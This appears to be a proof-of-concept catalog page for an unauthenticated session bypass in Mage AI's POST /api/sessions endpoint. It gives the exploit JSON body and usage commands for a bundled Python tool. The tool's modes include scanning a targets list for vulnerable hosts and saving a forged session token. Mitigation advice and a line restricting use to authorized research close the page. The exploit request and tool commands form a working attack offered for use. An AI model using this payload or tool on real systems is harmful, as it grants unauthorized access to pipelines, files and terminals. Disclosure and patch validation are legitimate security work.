CVE-2026-111823 — Mage AI OAuth Session Authentication Bypass (POST /api/sessions)

Overview

CVE-2026-111823 — Mage AI (mage-ai/mage-ai, Mage OSS) — unauthenticated authentication bypass via POST /api/sessions when an unknown OAuth provider is accepted (CWE-390, CWE-287).

| | | |---|---| | Affected | Through 0.9.80 (verify commit / patch on PyPI builds) | | Fixed | 76c4f46 / PR #6204 | | CVSS 3.1 | 9.8 Critical | | Default port | 6789 |

When token and provider are present, vulnerable SessionResource.create() resolves the provider. If the name is unknown, the code path still performs user lookup/creation using request body email without validating OAuth, then returns a session JWT.

Preconditions: X-API-KEY (public OAuth client key from UI/docs); require_user_authentication=true (default on OSS 0.9.78+).

PoC page: https://pocbit.org/pocs/cve-2026-111823

GitHub: murrez/CVE-2026-111823

CVE.org: CVE-2026-111823

Exploit body (summary)

{
  "session": {
    "email": "[email protected]",
    "token": "unverified",
    "provider": "invalid"
  }
}

Success: valid JWT + API access (e.g. GET /api/pipelines, /api/users). Post-auth impact may include pipelines, file explorer, terminal — see upstream #6205, #6206 hardening.

Bundled tool (Python 3)

Download cve-2026-111823.py — writes poc.py, mage_core.py, tests/.

python cve-2026-111823.py
pip install -r requirements.txt

python poc.py --mode check -b http://127.0.0.1:6789
python poc.py --mode check -b http://127.0.0.1:6789 --oauth-probe
python poc.py -f targets.example.txt --mode check --oauth-probe -o results.jsonl

python poc.py -b http://127.0.0.1:6789 -e [email protected] --save-token session.json
python -m unittest discover -s tests -t . -v

Flags: --api-key, --skip-version-check, --force, -o JSON/JSONL.

Mitigation

1. Deploy Mage including PR #6204 (reject unknown OAuth before session creation).
2. Restrict 6789 to trusted networks; monitor POST /api/sessions for unknown provider.
3. Use verified SSO providers only until patched.

Legal and ethical use

Authorized security research and patch validation only.

References

• NVD — CVE-2026-111823
• mage-ai PR #6204
• PoCbit catalog
• GitHub PoC — CVE-2026-111823